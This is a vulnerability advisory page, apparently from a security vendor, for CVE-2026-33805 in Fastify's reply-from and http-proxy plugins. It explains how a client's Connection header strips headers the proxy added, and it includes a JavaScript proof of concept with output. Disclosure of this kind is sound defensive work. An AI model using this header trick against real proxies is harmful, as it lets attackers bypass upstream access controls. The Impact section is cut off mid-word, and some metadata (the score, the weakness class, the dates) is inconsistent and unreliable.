Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-33805 — reply-from

🔴 CVSS 9.5 — Critical ✅ No Known Exploit CWE-644 NVD
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Fastify's connection header abuse enables stripping of proxy-added headers

Summary

@fastify/reply-from and @fastify/http-proxy process the client's Connection header after the proxy has added its own headers via rewriteRequestHeaders. This allows attackers to retroactively strip proxy-added headers (like access control or identification headers) from upstream requests by listing them in the Connection header value. This affects applications using these plugins with custom header injection for routing, access control, or security purposes.

Details

The vulnerability exists in @fastify/reply-from/lib/request.js at lines 128-136 (HTTP/1.1 handler) and lines 191-200 (undici handler). The processing flow is:

1. Client headers are copied including the connection header (@fastify/reply-from/index.js line 91)

2. The proxy adds custom headers via rewriteRequestHeaders (line 151)

3. During request construction, the transport handlers read the client's Connection header and strip any headers listed in it

4. This stripping happens after rewriteRequestHeaders, allowing clients to target proxy-added headers for removal

RFC 7230 Section 6.1 Connection header processing is intended for proxies to strip hop-by-hop headers from incoming requests before adding their own headers. The current implementation reverses this order, processing the client's Connection header after the proxy has already modified the header set.

The call chain:

1. @fastify/reply-from/index.js line 91: headers = { ...req.headers } — copies ALL client headers including connection

2. index.js line 151: requestHeaders = rewriteRequestHeaders(this.request, headers) — proxy adds custom headers (e.g., x-forwarded-by)

3. index.js line 180: requestImpl({...headers: requestHeaders...}) — passes headers to transport

4. request.js line 191 (undici): getConnectionHeaders(req.headers) — reads Connection header FROM THE CLIENT

5. request.js lines 198-200: Strips headers listed in Connection — including proxy-added headers

This is distinct from the general hop-by-hop forwarding concern — it's specifically about the client controlling which headers get stripped from the upstream request via the Connection header, subverting the proxy's rewriteRequestHeaders function.

PoC

Self-contained reproduction with an upstream echo service and a proxy that adds a custom header:

```javascript

const fastify = require('fastify');

async function test() {

// Upstream service that echoes headers

const upstream = fastify({ logger: false });

upstream.get('/api/echo-headers', async (request) => {

return { headers: request.headers };

});

await upstream.listen({ port: 19801 });

// Proxy that adds a custom header via rewriteRequestHeaders

const proxy = fastify({ logger: false });

await proxy.register(require('@fastify/reply-from'), {

base: 'http://localhost:19801'

});

proxy.get('/proxy/*', async (request, reply) => {

const target = '/' + (request.params['*'] || '');

return reply.from(target, {

rewriteRequestHeaders: (originalReq, headers) => {

return { ...headers, 'x-forwarded-by': 'fastify-proxy' };

}

});

});

await proxy.listen({ port: 19800 });

// Baseline: proxy adds x-forwarded-by header

const res1 = await proxy.inject({

method: 'GET',

url: '/proxy/api/echo-headers'

});

console.log('Baseline response headers from upstream:');

const body1 = JSON.parse(res1.body);

console.log(' x-forwarded-by:', body1.headers['x-forwarded-by'] || 'NOT PRESENT');

// Attack: Connection header strips the proxy-added header

const res2 = await proxy.inject({

method: 'GET',

url: '/proxy/api/echo-headers',

headers: { 'connection': 'x-forwarded-by' }

});

console.log('\nAttack response headers from upstream:');

const body2 = JSON.parse(res2.body);

console.log(' x-forwarded-by:', body2.headers['x-forwarded-by'] || 'NOT PRESENT (stripped!)');

await proxy.close();

await upstream.close();

}

test();

```

Actual output:

```

Baseline response headers from upstream:

x-forwarded-by: fastify-proxy

Attack response headers from upstream:

x-forwarded-by: NOT PRESENT (stripped!)

```

The x-forwarded-by header that the proxy explicitly added in rewriteRequestHeaders is stripped before reaching the upstream.

Multiple headers can be stripped at once by sending Connection: x-forwarded-by, x-forwarded-for.

Both the undici (default) and HTTP/1.1 transport handlers in @fastify/reply-from are affected, as well as @fastify/http-proxy which delegates to @fastify/reply-from.

Impact

Attackers can selectively remove any header added by the proxy's rewriteRequestHeaders function. This enables several attack scenarios:

1. Bypass proxy identification: Strip headers that identify requests as coming through the proxy, potentially bypassing upstream controls that differentiate between direct and proxied requests

2. **Circumvent acc

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality none, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: None.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-33805 is classified as CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax. The product does not neutralize or incorrectly neutralizes web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash.

Affected software

CVE-2026-33805 is recorded against 4 packages.

  • @fastify/http-proxy
  • @fastify/reply-from
  • fastify\/http-proxy (fixed in 11.4.4)
  • reply-from (fixed in 12.6.2)

Timeline and source

Published on 16 April 2026 and last revised on 9 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
cna.openjsf.org (Web)
github.com (Package)

Same weakness in other software

These advisories are the same class of weakness (CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax) in other software:

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
CWE CWE-644
Public Exploit ✅ No
Source NVD
Published 2026-04-16
Updated 2026-08-20
Modified 2026-06-09
Fix URL N/A

Affected Packages

Software From version Fixed in
@fastify/http-proxy
@fastify/reply-from
fastify\/http-proxy 11.4.4
reply-from 12.6.2

Exploit Protection

Are you running reply-from?

CVE-2026-33805 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-33805 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026